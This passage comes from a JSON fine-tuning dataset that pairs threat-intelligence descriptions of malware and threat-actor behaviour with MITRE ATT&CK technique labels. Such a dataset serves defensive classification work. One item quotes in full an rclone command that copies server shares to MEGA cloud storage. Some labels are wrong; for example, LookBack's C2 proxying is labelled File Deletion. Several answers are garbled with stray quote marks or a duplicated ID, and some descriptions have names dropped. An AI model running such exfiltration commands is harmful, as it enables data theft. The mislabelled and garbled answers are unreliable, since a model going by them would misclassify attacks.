                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "First, the malware checks for the existence of a Mutex value, “EKANS”, on the victim. If present, the ransomware will stop with a message “already encrypted. Otherwise, the Mutex value is set and encryption moves forward using standard encryption library functions. Primary functionality on victim systems is achieved via Windows Management Interface (WMI) calls, which begins executing encryption operations and removes Volume Shadow Copy backups on the victim"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Olympic Destroyer utilizes PsExec to help propagate itself across a network."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BabyShark has executed the \"reg query\" command for \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\"."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used automated collection."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif has used \"CreateProcessW\" to create child processes."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encrypts data sent to its C2 server over HTTP with RC4."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LookBack malware is a remote access Trojan written in C++ that relies on a proxy communication tool to relay data from the infected host to a command and control IP"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the first path, obtaining the SAML signing certificate normally entails first querying the private encryption key that resides on the AD FS container and then using that key to decrypt the signing certificate. The certificate can then be used to create illicit but valid SAML tokens that allow the actor to impersonate users, enabling them to access enterprise cloud applications and services"
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys', 'T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Out1 can use HTTP and HTTPS in communications with remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used RC4 encryption (for Datper malware) and AES (for xxmm malware) to obfuscate HTTP traffic."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a new service named “ntssrv” that attempts to appear legitimate; the service's display name is “Microsoft Network Realtime Inspection Service” and its description is “Helps guard against time change attempts targeting known and newly discovered vulnerabilities in network time protocols.”"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of file deletion along with other file system interaction."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used various types of scripting for execution, including .bat and .vbs scripts. The group has also used macros to deliver malware such as  and ."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has a function to hijack data from the clipboard by monitoring the contents of the clipboard and replacing the cryptocurrency wallet with the attacker's."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CostaBricks has been used to load SombRAT onto a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has masqueraded as legitimate Adobe Content Management System files."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the built-in expand.exe utility provided by Microsoft Windows, the dropper executes the following command, which will expand the CAB file and write the results to the provided directory"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has established GitHub accounts to host their malware."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "queries the Registry for specific keys for potential privilege escalation and proxy information."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0015, the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using the Rclone command `rclone.exe copy --max-age 2y \"\\\\SERVER\\Shares\" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M`."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The plugin uses the same network protocol as PLAINTEE and so we were able to trivially decode further commands that were sent.  The following commands were observed:  tasklist ipconfig /all  The attacker performed these two commands 33 seconds apart"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel', 'T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The final stage, however, is a dotnet application that takes several commands such as directory listing, screenshot, compress, upload, etc. It then creates random long string folder names in temp directories to host the collected files per category before compressing, encrypting and uploading to the C2 server"
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download and execute a second-stage payload."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a PowerShell script to launch shellcode that retrieves an additional payload."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has used spearphishing with PDF attachments containing malicious links that redirected to credential harvesting websites."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kevin can enumerate the OS version and hostname of a targeted machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kobalos can modify timestamps of replaced files, such as \"ssh\" with the added credential stealer or \"sshd\" used to deploy Kobalos."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Delphi variant of Cannon does not use legitimate web-based email services for its C2 communications, instead opting to use email accounts at an actor owned domain, ambcomission[.]com"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has enumerated drives, OS type, OS version, and other information using a script or the \"systeminfo\" command."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Similar to RIPTIDE campaigns, APT12 infects target systems with HIGHTIDE using a Microsoft Word (.doc) document that exploits CVE-2012-0158. FireEye observed APT12 deliver these exploit documents via phishing emails in multiple cases. Based on past APT12 activity, we expect the threat group to continue to utilize phishing as a malware delivery method"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pisloader has a command to upload a file to the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The winupdate.ps1 script (SHA256: 36862f654c3356d2177b5d35a410c78ff9803d1d7d20da0b82e3d69d640e856e) is the main payload of this attack that we call RogueRobin. Its developer used the open source Invoke-Obfuscation tool to obfuscate this PowerShell script, specifically using the COMPRESS technique offered by Invoke-Obfuscation. Before carrying out any of its functionality the payload checks to see if it is executing in a sandbox. The payload uses WMI queries and checks running processes for evidence that the script may be executing within an analysis environment. The specific sandbox checks include"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation', 'T1497.001 - Virtualization/Sandbox Evasion: System Checks', 'T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "messengers. Figures 9 and 10 show FakeM attempting to resemble MSN or Yahoo. Messenger traffic, as the first 32-bytes contain data that resemble legitimate traffic generated by these chat programs"
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Protocol or Service Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In their example, the OilRig group used a malicious macro document to deliver the backdoor, which is a tactic much more commonly used by them. A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation. Invoke-Obfuscation has proven to be highly effective at obfuscating PowerShell scripts and in this case, the adversary was able to take advantage of the tool for increased chances of evasion and as an anti-analysis tactic. Based on our telemetry, we have high confidence the email account used to launch this attack was compromised by the OilRig group, likely via credential theft. The malicious attachment was a simple PE file (SHA256: 5f001f3387ddfc0314446d0c950da2cec4c786e2374d42beb3acce6883bb4e63) with the filename &lt;redacted&gt; Technical Services.exe. Its sole purpose here is to install the QUADAGENT backdoor and execute it. Once the victim downloads and executes the email attachment, it runs silently with no additional decoy documents or decoy dialog boxes. The executable will drop the packaged QUADAGENT PowerShell script using the filename Office365DCOMCheck.ps1 in addition to a VBScript file with the same filename which will assist in the execution of it. Once the QUADAGENT payload has executed, it will use rdppath[.]com as the C2, first via HTTPS, then HTTP, then via DNS tunneling, each being used as a corresponding fallback channel if the former fails"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "delivered  to victims via a compromised legitimate website."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has used a tool called GREASE to add a Windows admin account in order to allow them continued access via RDP."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Green Lambert can collect the date and time from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IceApple can use a Base64-encoded AES key to decrypt tasking."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kinsing has used chmod to modify permissions on key files for use."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Variants of Emissary encrypt payloads using various XOR ciphers, as well as a custom algorithm that uses the \"srand\" and \"rand\" functions."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "tries to add a Registry Run key under the name \"Windows Update\" to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Frankenstein has used WMI queries to check if various security applications were running, including VMWare and Virtualbox."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Payloads The delivery documents in this attack campaign loaded remote templates whose macros installed a variety of first-stage payloads"
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can launch cmd.exe to perform reconnaissance commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It appears Russian cyber criminals were equally perplexed by the WCry campaign as the rest of the world. One of the members of the popular underground community complained about the recently purchased Virtual Private Server (VPS) which was almost immediately infected by ransomware even before the system update was completed."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT18 uses DNS for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZIRCONIUM has used a tool to capture the time on a compromised host in order to register it with C2."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET adds malicious file paths to the \"DYLD_FRAMEWORK_PATH\" and \"DYLD_LIBRARY_PATH\" environment variables to execute malicious code."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: LD_PRELOAD"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI has modified ComSysApp service to load the malicious DLL payload."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lucifer can perform a decremental-xor encryption on the initial C2 request before sending it over the wire."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lizar has encrypted data before sending it to the server."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has used VBS code on victims’ systems."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling can collect information from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XTunnel uses SSL/TLS and RC4 to encrypt traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses credential dumpers such as  and  to extract cached credentials from Windows systems."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Industroyer can enumerate remote computers in the compromised network."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "’s LSADUMP::DCShadow module can be used to make AD updates by temporarily setting a computer to be a DC."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ryuk has used Wake-on-Lan to power on turned off systems for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can list the running processes and get the process ID and parent process’s ID."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Cybereason platform was able to detect the malicious injection, identifying Irdsnhrxxxfery64.~, Irdsnhrxxxfery98.~, and module arqueiro.   The downloaded modules found in regsvr32.exe as detected by the Cybereason platform"
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay can compress and archive collected files using WinRAR."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang has used Mimikatz to generate Kerberos golden tickets."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWRUNER may collect process information by running \"tasklist\" on a victim."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Hunting for PDF files that are created with the same “DocumentID” management metadata field result in a set of files that have been used in email delivery against banking entities. 2) All of the PDF files embed a link based on a Google redirect, leading to the download of a Microsoft Office document file. 3) The Microsoft Office document files contain macros for code execution. Those macros match the characteristics of the builder that we have characterized"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File', 'T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nidiran can download and execute files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a keylogger to capture keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fox Kitten has used valid credentials with various services during lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This extreme level of variance was also applied to non-executable entities, such as WMI persistence filter name, WMI filter query, passwords used for 7-zip archives, and names of output log files. Tools and binaries used by the attackers (e.g. ADFIND legit tool) were always renamed and placed in folders that mimicked existing programs and files already present on a machine. This blending was not just used for files, but for other elements. For example, WMI persistence filters were created with names and queries matching other scripts present in affected organizations. Before running intensive and continued hands-on keyboard activity, the attackers took care of disabling event logging using AUDITPOL and re-enabling it afterward. The firewall rules were also methodically removed after the network reconnaissance was completed. Lateral movement activities were never executed without preparation. To increase the likelihood that their activities remain undetected, the attackers first enumerated remote processes and services running on the target host and decided to move laterally only after disabling certain security services. We believe that the attackers used timestomping to change timestamps of artifacts and also leveraged professional wiping procedures and tools to complicate finding and recovering of DLL implants from affected environments"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can execute commands with script as well as execute JavaScript."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kinsing has used valid SSH credentials to access remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
